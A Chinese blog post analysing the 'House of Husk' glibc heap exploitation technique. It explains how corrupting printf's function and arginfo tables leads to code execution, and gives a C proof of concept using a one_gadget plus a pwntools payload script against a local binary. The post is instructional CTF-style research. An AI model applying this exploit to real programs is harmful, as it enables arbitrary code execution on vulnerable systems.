当前位置:首页 > 技术 > 正文内容

House of Husk 漏洞分析与利用

访客 技术 2026年6月26日 1

漏洞概述

House of Husk 是一种针对 glibc 的漏洞利用技术,主要通过修改 printf_function_tableprintf_arginfo_table 来实现任意代码执行。

适用版本:glibc 2.27 至 2.35

攻击效果:通过触发一次调用 (call) 实现代码执行。

漏洞原理

在 glibc 的 vfprintf 函数中,当处理格式化字符串时会检查 printf_function_table 是否为空。如果不为空,则进入 printf_positional 函数,并进一步调用 __parse_one_specmb

__parse_one_specmb 中,存在以下关键指令:

__printf_arginfo_table[spec->info.spec]

该指令通过索引访问 __printf_arginfo_table 表,从而定位到自定义格式化函数的指针。

调用链分析

以下是完整的调用链:

printf
    → vfprintf
        → printf_positional
            → __parse_one_specmb
                → (*__printf_arginfo_table[spec->info.spec])

vfprintf 检查逻辑

vfprintf 中,存在以下条件判断:

if (__glibc_unlikely (__printf_function_table != NULL  
            || __printf_modifier_table != NULL  
            || __printf_va_arg_table != NULL))
    goto do_positional;

如果任意一个表不为空,则跳转至 do_positional 分支。

__parse_one_specmb 检查逻辑

__parse_one_specmb 中,存在以下验证:

if (__builtin_expect (__printf_function_table == NULL, 1)
    || spec->info.spec > UCHAR_MAX
    || __printf_arginfo_table[spec->info.spec] == NULL
    || (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
               (&spec->info, 1, &spec->data_arg_type,
                &spec->size)) < 0)

只有当上述条件均满足时,才会继续执行后续逻辑。

POC 示例

以下是一个针对 glibc-2.27 的 POC 示例:

#include <stdio.h>
#include <stdlib.h>

#define OFFSET_TO_SIZE(ofs) ((ofs) * 2 - 0x10)
#define MAIN_ARENA_ADDR     0x3ebc40
#define MAIN_ARENA_DELTA    0x60
#define GLOBAL_MAX_FAST     0x3ed940
#define PRINTF_FUNC_TABLE   0x3f0738
#define PRINTF_ARGINFO      0x3ec870
#define ONE_GADGET          0x10a2fc

int main(void) {
    unsigned long libc_base;
    char *chunks[10];
    setbuf(stdout, NULL);

    // 泄露 libc 基址
    chunks[0] = malloc(0x500);
    chunks[1] = malloc(OFFSET_TO_SIZE(PRINTF_FUNC_TABLE - MAIN_ARENA_ADDR));
    chunks[2] = malloc(OFFSET_TO_SIZE(PRINTF_ARGINFO - MAIN_ARENA_ADDR));
    chunks[3] = malloc(0x500);
    free(chunks[0]);
    libc_base = *(unsigned long *)chunks[0] - MAIN_ARENA_ADDR - MAIN_ARENA_DELTA;
    printf("libc base: 0x%lx\n", libc_base);

    // 构造伪造的 printf arginfo 表
    *(unsigned long *)(chunks[2] + ('X' - 2) * 8) = libc_base + ONE_GADGET;

    // unsorted bin 攻击
    *(unsigned long *)(chunks[0] + 8) = libc_base + GLOBAL_MAX_FAST - 0x10;
    chunks[0] = malloc(0x500);

    // 覆盖 printf 表
    free(chunks[1]);
    free(chunks[2]);

    // 触发漏洞
    printf("%X", 0);
    return 0;
}

调试信息

以下是调试过程中的一些关键截图:

调试截图 1

调试截图 2

调试截图 3

实际利用示例

以下是一个 Python 脚本,用于生成 payload 并完成漏洞利用:

from tools import *

p = process('./a')
context(os='linux', arch='amd64', log_level='debug')
debug(p, 0x4359e0)

flag_addr = 0x6B4040
leak_func = 0x4359B0
libc_argv = 0x6b7980
func_table = 0x6b7a28
arginfo_table = 0x6b7aa8

payload = p64(flag_addr)
payload += b'a' * 0x598
payload += p64(0x6B73E0)
payload += b'a' * (0x640 - 0x5a8)
payload += p64(0xdeadbeef)
payload += p64(0xdeadbeef)  # func_table
payload += p64(0)
payload += b'a' * 0x70
payload += p64(arginfo_table)
payload += p64(0xdeadbeef) * 0x72
payload += p64(leak_func)

p.sendline(payload)
p.interactive()
标签: glibc

相关文章

Linux crontab 详解

1) crontab 是什么cron 是 Linux 的定时任务守护进程;crontab 是用来编辑/查看“按时间周期执行命令”的表(cron table)。常见两类:用户 crontab:每个用户一份(crontab -e 编辑)系统级 crontab / cron.d:可指定执行用户(/etc/crontab、/etc/cron.d/*)2) crontab 时间...

富文本里可以允许的 HTML 属性

一、所有标签默认允许的安全属性(极少)class        (可选)id           (通常建议禁用)title️ 注意:id 容易被滥用做锚点注入,很多系统直接禁用class 允许的话最好只允许固定前缀(如 editor-*)二、a 标签允许属性<a href="" t...

Mac 安装 Node.js 指南

方法一:通过官网安装包(最简单,适合初学者)如果你只是想快速安装并开始使用,这是最直接的方法。访问 Node.js 官网。页面会显示两个版本:LTS (Recommended For Most Users):长期支持版,最稳定。建议选这个。Current:最新特性版,包含最新功能但可能不够稳定。下载 .pkg 安装包并运行。按照安装向导点击“下一步”即可完成。方法二:使用 Homebrew 安装(...

Dom\HTML_NO_DEFAULT_NS 的副作用:自动加闭合标签

在使用Dom\HTMLDocument时,Dom\HTML_NO_DEFAULT_NS 将禁止在解析过程中设置元素的命名空间, 此设置是为了与DOMDocument向后兼容而存在的。当使用它时,已知的一个副作用就是:自动加闭合标签例如 </img> 为什么会这样?当你使用:Dom\HTML_NO_DEFAULT_NS文档会变成 无命名空间模式,此时内部更接近 XML...

Laravel 事件和监听器创建

在 Laravel 中,使用 Artisan 命令创建 Events(事件) 和 Listeners(监听器) 是非常高效的。你可以通过以下几种方式来实现:1. 手动创建单个 Event如果你只想创建一个事件类,可以使用 make:event 命令:Bashphp artisan make:event UserRegistered执行后,文件将生成在 app/Even...

自定义域名解析神器 dnsmasq

什么是 dnsmasq?dnsmasq 是一个轻量级、功能强大的网络服务工具,专为小型和中等规模网络设计。它是一个综合的网络基础设施解决方案[1]。dnsmasq 能做什么?功能说明应用场景DNS 转发与缓存将 DNS 查询转发到上游服务器(ISP、Google DNS 等),并在本地缓存结果加快 DNS 查询速度,减少外部 DNS 流量本地 DNS解析本地网络设备的主机名,无需编辑&n...

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。